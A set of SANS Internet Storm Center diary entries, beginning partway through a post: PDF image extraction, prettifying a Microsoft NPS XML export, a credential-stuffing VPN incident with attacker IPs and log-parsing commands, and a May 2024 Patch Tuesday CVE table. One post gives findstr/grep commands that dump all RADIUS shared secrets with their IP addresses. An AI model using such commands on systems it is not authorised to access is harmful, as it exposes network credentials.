If we use option -t to let file-magic.py just output the file type (and not the file/stream name), we can make statistics with my tool count.py and see that the PDF document contains many JPEG files:

Now we want to write all of these JPEG images to disk. We use file-magic.py again in JSON mode, but let it also output the same JSON data augmented with file-type information (--jsonoutput):

Next, this JSON data is consumed by myjson-filter.py and filtered with regular expression (case sensitive) JPEG on the file type: -t JPEG.

Finally, we write the JPEG images to disk with -W hashext:jpeg: this writes each JPEG stream to disk with a filename consisting of the sha256 of the file's content and extension .jpeg.

By using the hash of the content as filename, there are no duplicate pictures:

Should you want to reproduce the commands in these diary entries with the exact same PDF files I used, my old ebook on PDF analysis can be found here and the analysis on TLS backdoors done by a colleague can be found here.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I was recently asked to <ahem> "recover" a RADIUS key from a Microsoft NPS server.  No problem I think, just export the config and it's all there in clear text right?

... yes, sort of ...

The XML file that gets output is of course perfect XML, but that doesn't mean it's easy to read for a human, it's as scrambled as my weekend eggs.  I got my answer, but then of course started to look for a way to get the answer in an easier way, something I could document and hand off to my client.  In other words, I started on the quest for a "jq" like tool for XML.  Often security work involves taking input in one text format and converting it to something that's human readable, or more easily parsed by the next tool in the pipeline.  (see below)

XMLLint is a pretty standard one that's in Linux, you can get it by installing libxml2.  Kali has it installed by default - usage is very straightforward:

xmllint < file.xml

or

cat file.xml | xmllint

There are a bunch of output options, but because it's not-so windows friendly I didn't dig to far - run man xmllint or browse here: https://gnome.pages.gitlab.gnome.org/libxml2/xmllint.html  if you need more than the basics on this.

However, finding something like this for Windows turned into an adventure, there's a port of xmllint for Windows but it's in that 10-year age range that makes me a bit leary to install it.  With a bit of googling I found yq.

This is a standalone install on most Linux distro's (sudo apt-get install yq or whatever), and has a few standard install methods for windows:

• you can just download the binary and put it in your path
• choco install yq
• winget install --id MikeFarah.yq

yq is written to mimic jq like you'd expect from the name, but will take json, yaml, xml, csv and tsv files.  It's not as feature-heavy as jq, but it's got enough, and let's face it, most of us use these for pretty print output, so that we can grep against that anyway.
I especially liked it for today's problem because I can adjust the indent, since the NPS XML export has a fairly deep heirarchy I went with an indent of 1:

type nps-export.xml | yq --input-format xml --output-format xml --indent 1 > pretty.xml

A quick peek at the file found me my answwer in the pretty (and grep-able) format that I wanted.  A typical RADIUS Client section looks lke:

 <Clients name="Clients">
  <Children>
   <DEVICE name="DEVICENAME">
    <Properties>
     <Client_ _Template_Guid="_Template_Guid" xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">{00000000-0000-0000-0000-000000000000}</Client_>
     <IP_Address xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">IP.Address.Goes.Here</IP_Address>
     <NAS_Manufacturer xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="int">0</NAS_Manufacturer>
     <Opaque_Data xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></Opaque_Data>
     <Radius_Client_Enabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</Radius_Client_Enabled>
     <Require_Signature xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">0</Require_Signature>
     <Shared_Secret xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">SuperSecretSharedKeyGoesHere</Shared_Secret>
     <Template_Guid xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">{1A1917B8-D2C0-43B3-8144-FAE167CE9316}</Template_Guid>
    </Properties>

Or I could dump all the shared secrets with the associated IP Addresses with:

type pretty.xml | findstr "IP_Address Shared_Secret"

or

cat pretty.xml | grep 'IP_address\|Shared_Secret'

After all that, I think I've found my go-to for text file conversions - in particular xml or yaml, especially in Windows ..

Full details on these two tools discussed:
https://github.com/mikefarah/yq
https://linux.die.net/man/1/xmllint

If you've got a different text formatter (or un-formatter), or if you've used xmllint or yq in an interesting way, please let us know about it in our comment form!

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I had an interesting call from a client recently - they had a number of "net use" and "psexec" commands pop up on a domain controller, all called from PSEXEC (thank goodness for a good EDR deployed across the board!!).  The source IP was a VPN session.

Anyway, we almost immediately declared an incident, and the VPN that was in use that had just Userid / Password authentication was the ingress.  We found a US employee with an active VPN session from Europe (the classic "impossible geography session") - so the standard "kill the session, deactivate the account / change the password action" ensued.
Followed by a serious conversation - really your userid/password protected VPN is only as strong as your weakest password.  Any you KNOW that some folks have kept their "Welcome123" password that they got at their last "I forgot my password" helpdesk call.  Also, your userid/password VPN is only as strong as the weakest other site that your folks have used their work credentials for.

Anyway the actions and discussion above was followed by the "who would want to target us?" conversation, so off to the logs we went.

The standard Cisco VPN rejected login syslog message looks like this:

Local4.Info     <fw.ip.add.ress>    %ASA-6-113005: AAA user authentication Rejected : reason = AAA failure : server = <rad.ius.server.ip> : user = ***** : user IP = <att.ack.er.ip>

So, we started by dumping all the Rejected logins for the day (note that this client has syslog in Windows):

type fw.ip.add.ress.txt | find "Rejected" > aaafail.txt

Now let's see how many events we have in a day:

type aaafail.txt | wc -l
 196500

Let's look at a representative timeslice.  We'll look at:

• 5pm-6pm (so the time is 17:xx)
• remove any repeating space characters (tr -s " ")
• field 24 is the souce IP address, extract that with "cut"
• sort | uniq -c  Give me just uniq addresses, with counts, sorted in descending order
• After that, I'm just looking (manually) at the attacking hosts with a 10 count or higher

type aaafail.txt | find " 17:" | tr -s " " | cut -d " " -f 24 | sort | uniq -c | sort /r
    670 207.180.247.77
     33 80.94.95.200
     18 45.135.232.63
     15 45.140.17.49
     15 45.140.17.44
     15 45.135.232.98
     14 45.140.17.63
     14 45.140.17.54
     14 45.140.17.47
     14 45.135.232.94
     14 45.135.232.101
     14 45.135.232.100
     14 45.134.26.25
     14 193.143.1.62
     13 91.202.233.3
     13 45.140.17.41
     13 45.135.232.89
     13 45.135.232.26
     13 45.134.26.6
     10 31.41.244.44

The first thing we notice is that the first IP stands out, so let's block that.
Now we'll look at those IP's a bit closer using ipinfo, see my story on this utility here: https://isc.sans.edu/diary/Using+Passive+DNS+sources+for+Reconnaissance+and+Enumeration/28596

ipinfo  207.180.247.77
IPINFO OUTPUT
{
  "ip": "207.180.247.77",
  "hostname": "cp.srv.plusdatacenter.com",
  "city": "Frankfurt am Main",
  "region": "Hesse",
  "country": "DE",
  "loc": "50.1155,8.6842",
  "org": "AS51167 Contabo GmbH",
  "postal": "60306",
  "timezone": "Europe/Berlin"
}

Next we note that these "top 20" hosts generate 953 requests out of the for the hour, so this really does look like 1 outlier, plus ~19-20 hosts in a managed cluster.

OK, let's look at those other two subnets that are over-represented in this top 20 list:

ipinfo 45.140.0.0
IPINFO OUTPUT
{
  "ip": "45.140.0.0",
  "city": "Sandnes",
  "region": "Rogaland",
  "country": "NO",
  "loc": "58.8524,5.7352",
  "org": "AS201454 UPHEADS AS",
  "postal": "4301",
  "timezone": "Europe/Oslo"
}

ipinfo 45.135.0.0
IPINFO OUTPUT
{
  "ip": "45.135.0.0",
  "city": "Kyiv",
  "region": "Kyiv City",
  "country": "UA",
  "loc": "50.4547,30.5238",
  "org": "AS208467 MagicService LLC",
  "postal": "03027",
  "timezone": "Europe/Kyiv"
}

Note that we're 3 searches in and we still haven't found of the traditional "boogeyman".  No Russia, no DPRK, no Iran (yet).

So, keeping in mind that we're just playing with part of the attack, I started blocking subnets, ASN's, and countries.

We blocked the subnets above, and the attack shifted within seconds to ramp up from a Cloud Service Provider in Germany.  We blocked their address space, and it shifted to a CSP in France.  Two more CSP's later, and we finally cut the "top 20" volumes down, and our high volume hosts were down to 5 hosts in Russia.
Blocking Russia shifted the attack to India, then South America.  

You see the patterns here, and have hopefully drawn the same conclusions.

The attackers have pre-built "malicious assets" wherever they can spin up legitimate free or low cost cloud hosts.  The attacker is not attacking from their own IP space or even thier own country.  The entire thing is automated, over the course of that day we saw malicious attacks from roughly 1100 IP addresses as we blocked various subnets and ASNs for various (mostly legitimate) cloud providers.

Looking at the other half of the equation, this attacker in particular was using account names that were not related to the organization being attacked - the userid's being used were a mix of all formats plus favourites such as admin, administrator and root.  So it looks like they were using a combination of standard password dumps as input.  I'd have been more concerned - and wouldn't have played around so much - if the attacker had harvested user account info from LinkedIn and similar sources.  If the credential stuffing attack contains mostly legitimate people names, the chances of success are WAY higher - they're most likely combining legit names with password dump data that matches those names.  Normally we see this sort of thing with red team or more targeted malicious activity, where the per-company costs are a bit higher but because things are targetted, the attack tends to succeed sooner.  In that situation we'd have likely shut down the VPN and implemented MFA offline.  Password dump files such as this are easy to come by, and are generally free - though you can certainly purchase access targeted lists or even purchase access to particular companies from "access as a Service" companies in the "criminal supply chain".  Don't believe folks who use phrases like "the dark web" when describing these (though that does exist too)

Needless to say, we did a crash migration to MFA for their VPN, we had them over within a couple of hours of making the decision.  Since their email was already using MFA, this was free and no fuss at all (thanks Microsoft!) - the MFA prompts were already familiar to the user base.

Lessons learned?

• Nobody is targetting you, they are targetting everyone that hasn't implemented MFA.  Or possibly targetting even the MFA sites, since it's tough to tell either way until you get to the MFA prompt.  
• Also from the connection volumes, the attackers were very careful not to lock out accounts.  Each IP address has roughly 15 attempts max in an hour, so that's once every ~4 minutes.
• With just one hit every 4 minutes, just this one example cluster has gobs of capacity to easily scale up to easily target hundreds of other organizations.
• They are targeting VPNs.  None of this "pivot through a website" gymnastics, then "pivot out of the DMZ" heartache, they're after the front door and full access to the network.  Though they're still targeting websites too.  Anything with a login prompt is fair game.
• This entire thing is automated.  As I shut down each cluster of addresses, a new cluster would pop up elsewhere in the world within seconds.  The old cluster is still chugging along against its other targets.
• The cluster of hosts at any given time likely are not the actual attacking hosts.  Remember, the attackers have a significant application and data management challenge here.  They need to centrally store the "prospective credentials" and actual compromised credentials, as well as keep track of hundreds of targets and where each target is in the campaign.  So these clusters of hosts are likely proxy servers being used by a central cluster of actual servers backed by a database and a decent application, or at least a pretty good script.  This means my estimate of hundreds of targets is likely on the light side.
• Geo-blocking is getting less useful over time - while we still do see attacks from the countries you might expect, anyone who is any good has automation to either source their attack from almost anywhere, and once they see you blocking them, from anywhere else.  This argues further for central control and data management, since I'd bet only our attacker's proxy servers were jumping from datacenter to datacenter, there's no profit  in moving the attack against any given organization unless you have to.  This means that "we are being targeted by country x" are very difficult to attribute (this is not new)
• The foreign influence attacks" (check the media lately in Canada) headlines aren't worth the headline - OF COURSE the attack is coming from outside of your country.  Nobody is going to mount an attack where their local constabularly can roll up and knock down their door.  These folks take great pains (usually) to operate in countries that their government doesn't play so nice with.  Good luck finding the actual servers though, unless you compromise a proxy host that is (this may not be legal in your jurisdiction, this was NOT advice)
• Attack styles do tend to come in waves.  The classic "drop powershell to download the malware" email attacks have declined somewhat since Microsoft blocked most scripting in Office.  We had "whale phishing" attacks that drove MFA for email a couple of years back.  In more recent times we've seen attacks against vulnerabilities in everyone's edge appliances (firewalls, vpn's, file transfer, terminal service proxies etc).  Credential stuffing against userid/passwords seem to be seeing an uptick lately.  But guess what, they're all in play, all the time - none of these are new, and just because one hits the headlines doesn't mean the others are not just as active as they were last month or last year.  Credential stuffing attacks very much like this one have been a part of the landscape since the 90's (or before), they're just too cheap and easy to set and forget for the attacker, especially these days.

The "moral of the story"?

• If you haven't implemented MFA, now is the time.
• If you have just userid/password protection on your VPN and are not compromised, you likely will be soon.
• If you think you're not compromised, that doesn't mean that you're not.  The attacker in this incident is likely not the only one, and is likely not even the only one from today.  They'll likely sell any compromised credentials to the real attacker that's in it for extortion of one kind or another.  That real attacker likely is purchasing the credentials from one provider, the malware from another and so on - the bad guys are just as much focused on "As A Service" as regular IT teams. In fact, the attackers are regular IT teams, just (mostly) operating outside of their target jurisdictions.
• So you might be compromised a good long time before you see anything obvious in your daily operations that will tell you that you have a problem.
• If you are still running simple antivirus, you need to look at better options.  
• If you don't have a SIEM that will alert you to attacks that show up in your logs, then you won't know about your attacks until they succeed.

Anyway, this story went on longer than I had planned.  Long story short, if you have anything (VPN, Website, SSH, application, whatever) facing the internet that has a simple userid / password login, then you should probably rethink that decision in 2024.

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This month we got patches for 67 vulnerabilities. Of these, 1 are critical, and 1 is being exploited according to Microsoft.

The critical vulnerability is a Remote Code Execution (RCE) affecting the Microsoft Sharepoint Server (CVE-2024-30044). According to the advisory, an authenticated attacker with Site Owner permissions or higher could upload a specially crafted file to the targeted Sharepoint Server and craft specialized API requests to trigger deserialization of file's parameters. This would enable the attacker to perform remote code execution in the context of the Sharepoint Server. The CVSS for the vulnerability is 8.8.

The zero-day vulnerability is an elevation of privilege on Windows DWM (Desktop Windows Management) Core Library (CVE-2024-30051). According to the advisory, an attacker who successfully exploited this vulnerability could gain SYSTEM privileges. The CVSS for the vulnerability is 7.8.

There is an important vulnerability affecting MinGit software (CVE-2024-32002), used by Microsoft Visual Studio, caused by an improper limitation of a pathname to a restricted directory ('Path Traversal') making it susceptible to Remote Code Execution. It is being documented in the Security Update Guide to announce that the latest builds of Visual Studio are no longer vulnerable. Please see Security Update Guide Supports CVEs Assigned by Industry Partners for more information. The CVSS for the vulnerability is 9.0 – the highest for this month.

See the full list of patches:

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET and Visual Studio Remote Code Execution Vulnerability
%%cve:2024-30045%%	No	No	-	-	Important	6.3	5.5
Azure Migrate Cross-Site Scripting Vulnerability
%%cve:2024-30053%%	No	No	-	-	Important	6.5	5.9
CVE-2024-32002 Recursive clones on case-insensitive filesystems that support symlinks are susceptible to Remote Code Execution
%%cve:2024-32002%%	No	No	-	-	Important	9.0	7.8
Chromium: CVE-2024-4331 Use after free in Picture In Picture
%%cve:2024-4331%%	No	No	-	-	-
Chromium: CVE-2024-4368 Use after free in Dawn
%%cve:2024-4368%%	No	No	-	-	-
Chromium: CVE-2024-4558 Use after free in ANGLE
%%cve:2024-4558%%	No	No	-	-	-
Chromium: CVE-2024-4559 Heap buffer overflow in WebAudio
%%cve:2024-4559%%	No	No	-	-	-
Chromium: CVE-2024-4671 Use after free in Visuals
%%cve:2024-4671%%	No	No	-	-	-
DHCP Server Service Denial of Service Vulnerability
%%cve:2024-30019%%	No	No	-	-	Important	6.5	5.7
Dynamics 365 Customer Insights Spoofing Vulnerability
%%cve:2024-30047%%	No	No	-	-	Important	7.6	6.6
%%cve:2024-30048%%	No	No	-	-	Important	7.6	6.6
GitHub: CVE-2024-32004 Remote Code Execution while cloning special-crafted local repositories
%%cve:2024-32004%%	No	No	-	-	Important	8.1	7.1
Microsoft Bing Search Spoofing Vulnerability
%%cve:2024-30041%%	No	No	-	-	Important	5.4	4.7
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2024-30007%%	No	No	-	-	Important	8.8	7.7
Microsoft Edge (Chromium-based) Spoofing Vulnerability
%%cve:2024-30055%%	No	No	Less Likely	Less Likely	Low	5.4	4.7
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2024-30042%%	No	No	-	-	Important	7.8	6.8
Microsoft Intune for Android Mobile Application Management Tampering Vulnerability
%%cve:2024-30059%%	No	No	-	-	Important	6.1	5.8
Microsoft PLUGScheduler Scheduled Task Elevation of Privilege Vulnerability
%%cve:2024-26238%%	No	No	-	-	Important	7.8	6.8
Microsoft Power BI Client JavaScript SDK Information Disclosure Vulnerability
%%cve:2024-30054%%	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2024-30043%%	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-30044%%	No	No	-	-	Critical	8.8	7.7
Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability
%%cve:2024-30006%%	No	No	-	-	Important	8.8	7.7
Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability
%%cve:2024-29994%%	No	No	-	-	Important	7.8	6.8
NTFS Elevation of Privilege Vulnerability
%%cve:2024-30027%%	No	No	-	-	Important	7.8	6.8
Visual Studio Denial of Service Vulnerability
%%cve:2024-30046%%	Yes	No	-	-	Important	5.9	5.2
Win32k Elevation of Privilege Vulnerability
%%cve:2024-30028%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30030%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30038%%	No	No	-	-	Important	7.8	6.8
Windows CNG Key Isolation Service Elevation of Privilege Vulnerability
%%cve:2024-30031%%	No	No	-	-	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2024-30034%%	No	No	-	-	Important	5.5	4.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2024-29996%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30025%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30037%%	No	No	-	-	Important	7.5	6.5
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2024-30016%%	No	No	-	-	Important	5.5	4.8
Windows Cryptographic Services Remote Code Execution Vulnerability
%%cve:2024-30020%%	No	No	-	-	Important	8.1	7.1
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2024-30032%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30035%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30051%%	Yes	Yes	-	-	Important	7.8	7.2
Windows DWM Core Library Information Disclosure Vulnerability
%%cve:2024-30008%%	No	No	-	-	Important	5.5	4.8
Windows Deployment Services Information Disclosure Vulnerability
%%cve:2024-30036%%	No	No	-	-	Important	6.5	5.7
Windows Hyper-V Denial of Service Vulnerability
%%cve:2024-30011%%	No	No	-	-	Important	6.5	5.7
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2024-30010%%	No	No	-	-	Important	8.8	7.7
%%cve:2024-30017%%	No	No	-	-	Important	8.8	7.7
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-30018%%	No	No	-	-	Important	7.8	6.8
Windows MSHTML Platform Security Feature Bypass Vulnerability
%%cve:2024-30040%%	No	Yes	-	-	Important	8.8	8.2
Windows Mark of the Web Security Feature Bypass Vulnerability
%%cve:2024-30050%%	No	No	-	-	Moderate	5.4	5.0
Windows Mobile Broadband Driver Remote Code Execution Vulnerability
%%cve:2024-29997%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-29998%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-29999%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30000%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30001%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30002%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30003%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30004%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30005%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30012%%	No	No	-	-	Important	6.8	5.9
%%cve:2024-30021%%	No	No	-	-	Important	6.8	5.9
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2024-30039%%	No	No	-	-	Important	5.5	4.8
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2024-30009%%	No	No	-	-	Important	8.8	7.7
%%cve:2024-30014%%	No	No	-	-	Important	7.5	6.6
%%cve:2024-30015%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30022%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30023%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30024%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30029%%	No	No	-	-	Important	7.5	6.5
Windows Search Service Elevation of Privilege Vulnerability
%%cve:2024-30033%%	No	No	-	-	Important	7.0	6.1
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
%%cve:2024-30049%%	No	No	-	-	Important	7.8	6.8

 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.